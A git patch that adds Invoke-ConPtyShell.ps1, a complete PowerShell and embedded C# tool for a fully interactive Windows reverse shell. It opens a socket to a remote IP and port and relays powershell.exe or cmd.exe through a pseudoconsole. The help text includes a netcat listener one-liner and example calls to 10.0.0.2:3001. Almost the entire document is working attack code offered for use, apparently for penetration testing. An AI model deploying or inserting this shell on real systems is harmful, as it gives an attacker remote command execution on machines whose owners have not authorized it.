From 8c51c8d3d18ef0883e2e00711cb677f4ab3d508b Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Wed, 5 Feb 2020 23:38:06 +0100 Subject: [PATCH] Added fully interactive reverse shell ps1 --- Shells/Invoke-ConPtyShell.ps1 | 551 ++++++++++++++++++++++++++++++++++ 1 file changed, 551 insertions(+) create mode 100644 Shells/Invoke-ConPtyShell.ps1 diff --git a/Shells/Invoke-ConPtyShell.ps1 b/Shells/Invoke-ConPtyShell.ps1 new file mode 100644 index 0000000..2e8e91e --- /dev/null +++ b/Shells/Invoke-ConPtyShell.ps1 @@ -0,0 +1,551 @@ +#Requires -Version 2 + +function Invoke-ConPtyShell +{ + <# + .SYNOPSIS + ConPtyShell - Fully Interactive Reverse Shell for Windows + Author: splinter_code + License: MIT + Source: https://github.com/antonioCoco/ConPtyShell + + .DESCRIPTION + ConPtyShell - Fully interactive reverse shell for Windows + + Properly set the rows and cols values. You can retrieve it from + your terminal with the command "stty size". + + You can avoid to set rows and cols values if you run your listener + with the following command: + stty raw -echo; (stty size; cat) | nc -lvnp 3001 + + If you want to change the console size directly from powershell + you can paste the following commands: + $width=80 + $height=24 + $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height) + $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height) + + + .PARAMETER RemoteIp + The remote ip to connect + .PARAMETER RemotePort + The remote port to connect + .PARAMETER Rows + Rows size for the console + Default: "24" + .PARAMETER Cols + Cols size for the console + Default: "80" + .PARAMETER CommandLine + The commandline of the process that you are going to interact + Default: "powershell.exe" + + .EXAMPLE + PS>Invoke-ConPtyShell 10.0.0.2 3001 + + Description + ----------- + Spawn a reverse shell + + .EXAMPLE + PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 + + Description + ----------- + Spawn a reverse shell with specific rows and cols size + + .EXAMPLE + PS>Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 30 -Cols 90 -CommandLine cmd.exe + + Description + ----------- + Spawn a reverse shell (cmd.exe) with specific rows and cols size + + #> + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $RemoteIp, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $RemotePort, + + [Parameter()] + [String] + $Rows = "24", + + [Parameter()] + [String] + $Cols = "80", + + [Parameter()] + [String] + $CommandLine = "powershell.exe" + ) + $parametersConPtyShell = @($RemoteIp, $RemotePort, $Rows, $Cols, $CommandLine) + Add-Type -TypeDefinition $Source -Language CSharp; + $output = [ConPtyShellMainClass]::ConPtyShellMain($parametersConPtyShell) + Write-Output $output +} + +$Source = @" +using System; +using System.IO; +using System.Text; +using System.Threading; +using System.Net; +using System.Net.Sockets; +using System.Runtime.InteropServices; + +public static class ConPtyShell +{ + private const string errorString = "{{{ConPtyShellException}}}\r\n"; + private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004; + private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; + private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; + private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; + private const uint CREATE_NO_WINDOW = 0x08000000; + private const int STARTF_USESTDHANDLES = 0x00000100; + + private const UInt32 INFINITE = 0xFFFFFFFF; + private const uint GENERIC_READ = 0x80000000; + private const uint GENERIC_WRITE = 0x40000000; + private const uint FILE_SHARE_READ = 0x00000001; + private const uint FILE_SHARE_WRITE = 0x00000002; + private const uint FILE_ATTRIBUTE_NORMAL = 0x80; + private const uint OPEN_EXISTING = 3; + private const int STD_INPUT_HANDLE = -10; + private const int STD_OUTPUT_HANDLE = -11; + private const int STD_ERROR_HANDLE = -12; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFOEX + { + public STARTUPINFO StartupInfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SECURITY_ATTRIBUTES + { + public int nLength; + public IntPtr lpSecurityDescriptor; + public int bInheritHandle; + } + + [StructLayout(LayoutKind.Sequential)] + private struct COORD + { + public short X; + public short Y; + } + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Auto)] + private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("kernel32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError=true)] + private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("kernel32.dll", SetLastError=true)] + private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetStdHandle(int nStdHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)] + private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError=true)] + private static extern bool WriteFile(IntPtr hFile, byte [] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern int ClosePseudoConsole(IntPtr hPC); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetConsoleMode(IntPtr handle, out uint mode); + + [DllImport("kernel32.dll", CharSet=CharSet.Auto)] + private static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + private static Socket ConnectSocket(string remoteIp, int remotePort){ + Socket s = null; + IPAddress remoteIpInt = IPAddress.Parse(remoteIp); + IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort); + Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + try{ + shellSocket.Connect(ipEndpoint); + if(shellSocket.Connected) + s = shellSocket; + byte[] banner = Encoding.ASCII.GetBytes("\r\nConPtyShell - @splinter_code\r\n"); + s.Send(banner); + } + catch{ + s = null; + } + return s; + } + + private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){ + Thread.Sleep(500);//little tweak for slower connections + if (shellSocket.Available > 0){ + byte[] received = new byte[100]; + int rowsTemp, colsTemp; + int bytesReceived = shellSocket.Receive(received); + string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); + string rowsString = sizeReceived.Split(' ')[0].Trim(); + string colsString = sizeReceived.Split(' ')[1].Trim(); + if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ + rows=(uint)rowsTemp; + cols=(uint)colsTemp; + } + } + } + + private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){ + int securityAttributeSize = Marshal.SizeOf(); + SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize, bInheritHandle=1, lpSecurityDescriptor=IntPtr.Zero }; + if(!CreatePipe(out InputPipeRead, out InputPipeWrite, pSec, 0)) + throw new InvalidOperationException("Could not create the InputPipe"); + if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, pSec, 0)) + throw new InvalidOperationException("Could not create the OutputPipe"); + } + + private static void InitConsole(){ + IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); + IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero); + SetStdHandle(STD_OUTPUT_HANDLE, hStdout); + SetStdHandle(STD_ERROR_HANDLE, hStdout); + SetStdHandle(STD_INPUT_HANDLE, hStdin); + } + + private static void EnableVirtualTerminalSequenceProcessing() + { + uint outConsoleMode = 0; + IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + if (!GetConsoleMode(hStdOut, out outConsoleMode)) + { + throw new InvalidOperationException("Could not get console mode"); + } + outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; + if (!SetConsoleMode(hStdOut, outConsoleMode)) + { + throw new InvalidOperationException("Could not enable virtual terminal processing"); + } + } + + private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){ + int result = -1; + EnableVirtualTerminalSequenceProcessing(); + result = CreatePseudoConsole(new COORD { X = (short)cols, Y = (short)rows }, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole); + return result; + } + + private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, IntPtr attributes) + { + IntPtr lpSize = IntPtr.Zero; + bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); + if (success || lpSize == IntPtr.Zero) + { + throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); + } + STARTUPINFOEX startupInfo = new STARTUPINFOEX(); + startupInfo.StartupInfo.cb = Marshal.SizeOf(); + startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize); + success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); + if (!success) + { + throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); + } + success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero); + if (!success) + { + throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); + } + return startupInfo; + } + + private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine) + { + PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); + int securityAttributeSize = Marshal.SizeOf(); + SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize }; + SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize }; + bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); + if (!success) + { + throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error()); + } + return pInfo; + } + + private static PROCESS_INFORMATION CreateChildProcessWithPseudoConsole(IntPtr handlePseudoConsole, string commandLine){ + STARTUPINFOEX startupInfo = ConfigureProcessThread(handlePseudoConsole, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE); + PROCESS_INFORMATION processInfo = RunProcess(ref startupInfo, commandLine); + return processInfo; + } + + private static void ThreadReadPipeWriteSocket(object threadParams) + { + object[] threadParameters = (object[]) threadParams; + IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; + Socket shellSocket = (Socket)threadParameters[1]; + uint bufferSize=16*1024; + byte[] bytesToWrite = new byte[bufferSize]; + bool readSuccess = false; + Int32 bytesSent = 0; + uint dwBytesRead=0; + do{ + readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero); + bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0); + } while (bytesSent > 0 && readSuccess); + } + + private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){ + object[] threadParameters = new object[2]; + threadParameters[0]=OutputPipeRead; + threadParameters[1]=shellSocket; + Thread thThreadReadPipeWriteSocket = new Thread(ThreadReadPipeWriteSocket); + thThreadReadPipeWriteSocket.Start(threadParameters); + return thThreadReadPipeWriteSocket; + } + + private static void ThreadReadSocketWritePipe(object threadParams) + { + object[] threadParameters = (object[]) threadParams; + IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; + Socket shellSocket = (Socket)threadParameters[1]; + IntPtr hChildProcess = (IntPtr)threadParameters[2]; + uint bufferSize=16*1024; + byte[] bytesReceived = new byte[bufferSize]; + bool writeSuccess = false; + Int32 nBytesReceived = 0; + uint bytesWritten = 0; + do{ + nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0); + writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); + } while (nBytesReceived > 0 && writeSuccess); + TerminateProcess(hChildProcess, 0); + } + + private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){ + object[] threadParameters = new object[3]; + threadParameters[0]=InputPipeWrite; + threadParameters[1]=shellSocket; + threadParameters[2]=hChildProcess; + Thread thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipe); + thReadSocketWritePipe.Start(threadParameters); + return thReadSocketWritePipe; + } + + public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){ + string output = ""; + Socket shellSocket = ConnectSocket(remoteIp, remotePort); + if(shellSocket == null){ + output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); + return output; + } + TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); + IntPtr InputPipeRead = new IntPtr(0); + IntPtr InputPipeWrite = new IntPtr(0); + IntPtr OutputPipeRead = new IntPtr(0); + IntPtr OutputPipeWrite = new IntPtr(0); + IntPtr handlePseudoConsole = new IntPtr(0); + PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); + CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); + InitConsole(); + if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){ + Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); + STARTUPINFO sInfo = new STARTUPINFO(); + sInfo.cb = Marshal.SizeOf(sInfo); + sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; + sInfo.hStdInput = InputPipeRead; + sInfo.hStdOutput = OutputPipeWrite; + sInfo.hStdError = OutputPipeWrite; + CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); + } + else{ + Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n"); + int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); + if(pseudoConsoleCreationResult != 0) + { + output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); + return output; + } + childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); + } + // Note: We can close the handles to the PTY-end of the pipes here + // because the handles are dup'ed into the ConHost and will be released + // when the ConPTY is destroyed. + if (InputPipeRead != IntPtr.Zero) CloseHandle(InputPipeRead); + if (OutputPipeWrite != IntPtr.Zero) CloseHandle(OutputPipeWrite); + //Threads have better performance than Tasks + Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); + Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); + WaitForSingleObject(childProcessInfo.hProcess, INFINITE); + //cleanup everything + thThreadReadPipeWriteSocket.Abort(); + thReadSocketWritePipe.Abort(); + shellSocket.Shutdown(SocketShutdown.Both); + shellSocket.Close(); + CloseHandle(childProcessInfo.hThread); + CloseHandle(childProcessInfo.hProcess); + if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole); + if (InputPipeWrite != IntPtr.Zero) CloseHandle(InputPipeWrite); + if (OutputPipeRead != IntPtr.Zero) CloseHandle(OutputPipeRead); + output += "ConPtyShell kindly exited.\r\n"; + return output; + } +} + +public static class ConPtyShellMainClass{ + private static string help = ""; + + private static bool HelpRequired(string param) + { + return param == "-h" || param == "--help" || param == "/?"; + } + + private static void CheckArgs(string[] arguments) + { + if(arguments.Length < 2){ + Console.Out.Write("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); + System.Environment.Exit(0); + } + + } + + private static void DisplayHelp() + { + Console.Out.Write(help); + } + + private static string CheckRemoteIpArg(string ipString){ + IPAddress address; + if (!IPAddress.TryParse(ipString, out address)) + { + Console.Out.Write("\r\nConPtyShell: Invalid remoteIp value {0}\r\n", ipString); + System.Environment.Exit(0); + } + return ipString; + } + + private static int CheckInt(string arg){ + int ret = 0; + if (!Int32.TryParse(arg, out ret)) + { + Console.Out.Write("\r\nConPtyShell: Invalid integer value {0}\r\n", arg); + System.Environment.Exit(0); + } + return ret; + } + + private static uint ParseRows(string[] arguments){ + uint rows = 24; + if (arguments.Length > 2) + rows = (uint)CheckInt(arguments[2]); + return rows; + } + + private static uint ParseCols(string[] arguments){ + uint cols = 80; + if (arguments.Length > 3) + cols = (uint)CheckInt(arguments[3]); + return cols; + } + + private static string ParseCommandLine(string[] arguments){ + string commandLine = "powershell.exe"; + if (arguments.Length > 4) + commandLine = arguments[4]; + return commandLine; + } + + public static string ConPtyShellMain(string[] args){ + string output=""; + if (args.Length == 1 && HelpRequired(args[0])) + { + DisplayHelp(); + } + else + { + CheckArgs(args); + string remoteIp = CheckRemoteIpArg(args[0]); + int remotePort = CheckInt(args[1]); + uint rows = ParseRows(args); + uint cols = ParseCols(args); + string commandLine = ParseCommandLine(args); + output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine); + } + return output; + } +} +"@; \ No newline at end of file